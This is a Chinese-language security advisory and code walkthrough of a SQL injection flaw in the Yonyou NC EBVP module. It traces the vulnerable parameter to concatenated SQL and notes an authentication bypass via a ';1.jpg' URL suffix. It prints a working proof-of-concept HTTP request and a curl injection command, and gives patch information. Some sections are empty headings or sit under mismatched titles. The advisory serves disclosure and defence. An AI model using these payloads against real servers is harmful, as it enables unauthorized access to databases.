用友NC系統SQL注入漏洞安全通告 一、漏洞概述 漏洞編號 :暫未分配 漏洞類型 :SQL注入 影響組件 :電子商務平臺(EBVP模塊) 危險等級 :高危 CVSS評分 :9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
二、漏洞詳情 1. 漏洞成因 通過 /ebvp/expeval/expertschedule;1.jpg
接口傳遞可控參數 pkevalset
時,后端代碼未對輸入進行有效過濾,導致攻擊者可構造惡意SQL語句實現任意數據查詢。 下圖為用友NC漏洞預警(發現24年的老洞了(資產幾乎打補丁了),閑著沒事分析下)
關鍵代碼路徑 :
// EvalScheduleController.java public String expertschedule (@RequestParam String pkevalset) { return evalScheduleService.getEvalSetScheInfoByPk(pkevalset); } // EvalScheduleQueryServiceImpl.java public List<EvalSetVO> getEvalSetScheInfoByPk (String pk) { return iEvalSetWsQueryService.getEvalSetScheInfoByPk(pk); // 未過濾直接傳參 } // MDBaseDAO.java public List<Object> queryBillsImp (String whereCondStr) { String sql = "SELECT * FROM eval_schedule WHERE pk = '" + whereCondStr + "'" ; // 直接拼接 return mdbaseDao.retrieveByClouse(sql); // 執行SQL }
2. 技術細節 注入點分析 : pkevalset
參數在5層方法調用后被拼接入SQL語句. 根據漏洞預警定位到具體路由,簡單看下Ebvp業務下的過濾器 EbvpRequestFilter ? 我們只需要 URL 里有這些后綴或者url 就可以繞過權限校驗(懂的都懂) 接下來定位到 EvalScheduleController 控制器下 expertschedule 屬性的具體方法先傳參“pkevalset”(無限制),調用 service 對象的getEvalSetScheInfoByPk 方法
跟進 getEvalSetScheInfoByPk 方法,定位到 EvalScheduleQueryServiceImpl 類 可以看到類方法 getEvalSetScheInfoByPk 調用了 IEvalSetWsQueryService 實例的getEvalSetScheInfoByPk 方法
繼續跟進IEvalSetWsQueryService 實例的 getEvalSetScheInfoByPk 方法 調用 this.queryMDVOByPks 方法進行數據查詢
往上翻翻 EvalSetQueryServiceImpl 繼承自 DefaultQueryServiceImpl
故DefaultQueryServiceImpl 類大概率定義了queryMDVOByPks方法,如下
到MDPersistenceService類中去找queryBillOfVOByCond方法,可以看到return到MDBaseDAO對象的queryBillOfVOByCond方法
跟進MDBaseDAO對象的queryBillOfVOByCond方法,new了一個VOQueryPersister對象調用queryBillsImp方法
跟進queryBillsImp方法,可以看到將whereCondStr參數拼接到SQL語句中,后續new一個MDMultiTableDAO 對象調用retrieveByClouse方法,將whereCondStr參數傳入該方法
跟進retrieveByClouse方法,可以看到執行數據庫查詢操作
繞過機制 :通過 1' OR 1=1--
等經典注入語法繞過基礎過濾 數據暴露 :可獲取 ALL_USERS
表全量數據(示例POC) 三、影響評估 1. 受影響版本 GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1 '+OR+1111%3d(SELECT+COUNT(*)+FROM+ALL_USERS+T1,ALL_USERS+T2,ALL_USERS+T3,ALL_USERS+T4,ALL_USERS+T5)-- HTTP/1.1 HTTP/1.1 Host:
2. 攻擊向量 四、修復方案 1. 官方補丁 NCM_NC6.5_000_109902_20240116_CP_399718758 f056abc8f5f7c5408f2c7abc21f07e4df2f80735ec1f11203f9dfbed49cdfe16
部署步驟 :
2. 臨時緩解措施 五、驗證方法 1. 漏洞復現(僅供測試環境) curl -X GET \ 'http://target/ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27+OR+1%3D1--' \ -H 'Host: example.com'
成功特征 :返回包含 ALL_USERS
表數據的響應
2. 補丁驗證 SELECT version FROM ncm_patch WHERE patch_code = 'NCM_NC6.5_000_109902_20240116_CP_399718758' ;
若返回有效記錄則表明補丁已安裝
六、擴展分析 1. 攻擊鏈推演 用戶請求 → 參數注入 → SQL拼接 → 數據庫執行 → 敏感數據回顯
2. 類似漏洞預防建議 使用JPA/Hibernate等ORM框架的預編譯功能 七、參考資料 用友官方安全公告: https://www.yonyou.com/security SQL注入防護指南:OWASP Cheat Sheet Series 注 :本文檔涉及攻擊技術僅用于授權滲透測試和安全研究,請遵守相關法律法規。
閱讀原文:https://mp.weixin.qq.com/s/7YAlGWyQH_jkVjPWjNvNPA